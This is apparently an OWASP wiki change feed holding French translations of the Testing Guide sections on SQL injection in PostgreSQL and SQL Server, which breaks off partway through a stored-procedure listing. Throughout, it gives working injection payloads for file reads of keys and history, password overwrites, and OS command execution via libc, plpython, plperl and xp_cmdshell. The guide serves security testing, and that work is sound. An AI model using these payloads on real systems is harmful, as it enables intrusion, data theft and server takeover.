  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
De plus la fonction ''version()'' peut être utilisée pour récupérer la bannière de PostgreSQL. Cela indiquera le système d'exploitation et la version.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un exemple de bannière ainsi retournée : &lt;br /&gt;
  PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Injection en aveugle ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour les attaques par injection SQL en aveugle, il faut prendre en considération les fonctions intégrées suivantes :&lt;br /&gt;
&lt;br /&gt;
* Longueur d'une chaîne&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extraction d'une sous-chaîne d'une chaîne donnée&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* Représentation d'une chaîne sans simples quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A partir de la version 8.2, PostgreSQL a introduit la fonction intégrée ''pg_sleep(n)'', qui met le processus de session courant en attente pour ''n'' secondes. Cette fonction peut être utilisée pour exécuter des attaques temporelles (vues en détail dans la section [[Blind SQL Injection]]).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
De plus, on peut facilement créer un équivalent personnalisé à ''pg_sleep(n)'' dans les versions précédentes en utilisant libc : &lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Déséchappement des simples quotes ===&lt;br /&gt;
&lt;br /&gt;
Les chaînes peuvent être encodées pour prévenir l'échappement des simples quotes, en utilisant la fonction chr().&lt;br /&gt;
&lt;br /&gt;
* chr(n): Retourne le caractère dont la valeur ASCII correspond au nombre n.&lt;br /&gt;
* ascii(n): Retourne la valeur ASCII correspondante au caractère n.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Imaginons que nous voulons encoder la chaîne 'root' :&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut donc encoder 'root' en : &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vecteurs d'attaque ===&lt;br /&gt;
&lt;br /&gt;
==== Utilisateur courant ====&lt;br /&gt;
&lt;br /&gt;
L'identité de l'utilisateur courant peut être récupérée avec les requêtes SQL suivantes :&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Base de données courante ====&lt;br /&gt;
&lt;br /&gt;
La fonction intégrée current_database() renvoie le nom de la base de données courante.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Lire depuis un fichier ====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL fourni deux manières d'accéder à un fichier local :&lt;br /&gt;
* L'instruction COPY&lt;br /&gt;
* La fonction intégrée pg_read_file() (depuis PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
Cet opérateur copie les données d'un fichier et d'une table. Le moteur PostgreSQL accède au système de fichiers local sous l'utilisateur ''postgres''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les données doivent être récupérées en procédant à une injection par UNION ''UNION Query SQL Injection'' :&lt;br /&gt;
* Récupération du nombre d'enregistrements ajoutés précédemment dans ''file_store'' avec l'instruction ''COPY''&lt;br /&gt;
* Récupération d'un enregistrement à la fois avec l'injection SQL par UNION.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette fonction a été introduite dans ''PostgreSQL 8.1'' et permet de lire des fichiers quelconques dans le répertoire du SGBD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Ecrire dans un fichier ====&lt;br /&gt;
&lt;br /&gt;
En inversant l'instruction COPY, on peut écrire dans une fichier local avec les droits de l'utilisateur ''postgres''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Injection de shell ====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL fourni un mécanisme pour ajouter des fonctions personnalisées utilisant à la fois des bibliothèques dynamiques et des langages de script comme Python, Perl, et TCL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Bibliothèque dynamique =====&lt;br /&gt;
&lt;br /&gt;
Justqu'à PostgreSQL 8.1 il était possible d'ajouter une fonction personnalisée liée à ''libc'' :&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depuis, ''system'' retourne un ''int'', comme alors récupérer les résultats de la sortie standard de ''system'' ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Voici une solution : &lt;br /&gt;
&lt;br /&gt;
* Créer une table ''stdout''&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* Exécuter la commande shell en redirigeant sa sortie ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* Utiliser une instruction ''COPY'' pour envoyer la sortie de la commande précédente dans la table ''stdout''&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* Récupérer les données de la table ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Exemple:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== plpython =====&lt;br /&gt;
&lt;br /&gt;
PL/Python permet aux utilisateurs de développer des fonctions PostgreSQL en Python. C'est un langage sûr ('trusted') donc il n'y a aucun moyen de restreindre ce que l'utilisateur peut faire avec. Il n'est pas installé par défaut et peut être éctivé sur une base donnée avec ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Vérifier que PL/Python a été activé sur la base :&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* Si ce n'est pas le cas, essayer de l'activer :&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* Si aucune des requêetes précédentes ne réussi, créer une fonction proxyshell :&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Et jouer avec :&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple:'''&lt;br /&gt;
&lt;br /&gt;
* Créer une fonction proxy shell :&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
* Lancer une commande système :&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== plperl =====&lt;br /&gt;
&lt;br /&gt;
Plperl permet de développer des fonctions PostgreSQL en perl. Normalement, il est installé comme un langage de confiance ('trusted') afin de désactiver l'exécution d'opérations qui interagissent avec le système d'exploitation sous-jacent, telles que ''open''. Ainsi il est impossible d'obtenir un accès au niveau du système d'exploitation. Pour injecter une fonction comme proxyshell, il faut installer la version non sûr ('unstrusted') sous l'utilisateur ''postgres'', pour éviter le filtrage par masque applicatif des opérations trusted/untrusted.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Vérifier si Pl/Perl-untrusted a été activé :&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* Si ce n'est pas le cas, en considérant qu'un administrateur système a déjà installé le paquetage plperl, essayer :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* Si rien de ceci ne fonctionne, créer une fonction proxy shell :&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Et jouer avec :&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple:'''&lt;br /&gt;
&lt;br /&gt;
* Créer une fonction proxy shell :&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Lancer une commande système :&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* OWASP : [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187800</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187800"/>
				<updated>2015-01-10T17:38:15Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.5.3_Tester_SQL_Server&amp;diff=187799</id>
		<title>4.8.5.3 Tester SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.5.3_Tester_SQL_Server&amp;diff=187799"/>
				<updated>2015-01-10T16:34:01Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire == Nous allons présenter dans cette section quelques techniques d'injection SQL SQL Injection utilisant des fonctionnalit...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Nous allons présenter dans cette section quelques techniques d'injection SQL [[SQL Injection]] utilisant des fonctionnalités spécifiques à Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
Les vulnérabilités d'injections SQL [[SQL Injection]] adviennent chaque fois qu'une entrée est utilisée dans la construction d'une requête SQL sans avoir été contrôlées et nettoyées. L'utilisation de code SQL dynamique (construction de requêtes SQL par concaténation de chaînes) ouvre la voie à ces vulnérabilités. Une injection SQL permet à un attaquant d'accéder à des serveurs SQL. Cela permet l'exécution de code SQL avec les privilèges de l'utilisateur utilisé pour se connecter à la base de données.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme expliqué dans la section [[SQL injection]], une exploitation d'injection SQL nécessite deux choses : un point d'entrée, et une exploitation à entrer. Tout paramètre contrôlé par l'utilisateur et traité par l'application peut dissimuler une vulnérabilité. Cela inclut :&lt;br /&gt;
&lt;br /&gt;
* Les paramètres applicatifs dans les chaînes des requêtes (c'est-à-dire les requêtes GET)&lt;br /&gt;
* Les paramètres applicatifs inclus dans les requêtes POST&lt;br /&gt;
* Les informations liées aux navigateur (c'est-à-dire les user-agent, referer)&lt;br /&gt;
* Les informations liées aux hôtes (c'est-à-dire les noms d'hôtes, leurs adresses IP)&lt;br /&gt;
* Les informations liées aux sessions (c'est-à-dire le dientifiants utilisateur, les cookies)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Microsoft SQL Server a quelques caractéristiques spécifiques, il faut donc adapter les exploits à cette application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
&lt;br /&gt;
===Caractéristiques de SQL Server===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, voyons quels les opérateurs et commande/procédures stockées de SQL Server qui peuvent être utiles pour tester les injections SQL :&lt;br /&gt;
&lt;br /&gt;
* Opérateur de commentaire : -- (utile pour forcer la requête à ignorer la partie suivante de la requête d'origine ; cela ne sera pas nécessaire dans tous les cas)&lt;br /&gt;
* Séparateur de requête : ; (point-virgule)&lt;br /&gt;
* Quelques procédures stockées utiles :&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] exécute une commande shell quelconque, avec les permissions de SQL Server. Par défaut, uniquement l'utilisateur '''sysadmin''' est autorisé à utiliser cette procédure, et depuis SQL Server 2005 cet utilisateur est désactivé par défaut (il peut être réactivé en utilisant sp_configure)&lt;br /&gt;
** '''xp_regread''' lit une valeur arbitraire dans la Registry (procédure étendue non documentée)&lt;br /&gt;
** '''xp_regwrite''' écrit une valeur dans la Registry (procédure étendue non documentée)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] lance une commande shell Windows et lui passe une chaîne à exécuter. Toutes les sorties seront retournées en ligne de texte. Necessite les privilèges '''sysadmin'''.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] envoie un courriel aux destinataires donnés, qui peut inclure un résultat de requête en pièce-jointe. Cette procédure étendue utilise SQL Mail pour envoyer le message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voyons maintenant quelques exemples d'attaques spécifiques à SQL Server utilisant les fonctions mentionnées ci-dessus. La plupart des ces exemples vont utiliser la fonction '''exec'''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous allons montrer plus bas une commande shell qui écrit la sortie de la commande ''dir c:\inetpub'' dans un fichier accessible par le web, considérant que le serveur web et le serveur de base de données sont sur la même machine. La syntaxe suivante utilise xp_cmdshell :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On pourrait aussi utiliser sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une exécution réussie va créer un fichier qui peut être accédé par le testeyr. Il faut garde à l'esprit que sp_makewebtask est obsolète, elle pourrait être supprimée dans les versions ultérieures à SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
De plus, SQL Server comporte des fonctions intégrées eet des variables d'environnement qui peuvent être très utiles. La requête suivant utilise la fonction '''db_name()''' pour déclencher une erreur qui va retourner le nom de la base de données :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Remarquer l'utilisation de [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
CONVERT va essayer de convertir le résultat de db_name (une chaîne) en une variable entière, déclencher une erreur qui, si elle est affichée par l'application vulnérable, va contenir le nom de la base.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'exemple suivant utilise la variable d'environnement '''@@version ''', en la combinant avec une injection de type &amp;quot;union select&amp;quot;, afin de découvrir la version de SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et la même attaque, en utilisant la technique de conversion :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La récolte d'information est utile pour exploiter les vulnérabilités d'SQL Server, grâce à des attaques par injections SQL ou accès direct au listener SQL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous allons maintenant montrer des exemples qui exploitent des vulnérabilités d'injections SQL via divers points d'entrées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 1: tester une injection SQL via une requête GET. ===&lt;br /&gt;
&lt;br /&gt;
Le cas le plus simple (et souvent le plus avantageux) est celui d'une page de connexion demandant un identifiant d'utilisateur et un mot de passe. On peut y entrer la chaîne suivante &amp;quot;' or '1'='1&amp;quot; (sans les guillemets) :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si l'application utilise des requêtes SQL dynamiques, que la chaîne est ajoutée à la requête de vérification des accès utilisateur, cela peut résulter en une connexion réussie à l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 2: tester une injection SQL dans une requête GET===&lt;br /&gt;
&lt;br /&gt;
Pour connaître le nombre de colonnes existantes&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 3: tester dans une requête POST ===&lt;br /&gt;
&lt;br /&gt;
Injection SQL dans le contenu d'une requête POST : email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un exemple plus complet :&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le message d'erreur suivant est obtenu quand on entre un ' (simple quote) dans le champ email :&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 4: Un autre exemple GET utile===&lt;br /&gt;
&lt;br /&gt;
Récupérer le code source de l'application :&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 5: xp_cmdshell personnalisé===&lt;br /&gt;
&lt;br /&gt;
Dans tous les ouvrages et articles traitant des bonnes pratiques de sécurité pour SQL Server, il est recommandé de désactiver xp_cmdshell dans SQL Server 2000 (dans SQL Server 2005 elle désactivée par défaut).&lt;br /&gt;
Cependant, si on a les droits sysadmin (nativement ou en burte-forçant le mot de passe sysadmin, voir plus bas), on peut contourner cette limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Sous SQL Server 2000:&lt;br /&gt;
* Si xp_cmdshell a été désactivée avec sp_dropextendedproc, on peut injecter simplement le code suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Si le code précédent ne fonctionne pas, cela signifie que xp_log70.dll a été déplacé ou effacé. Dans ce cas on doit injecter le code suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
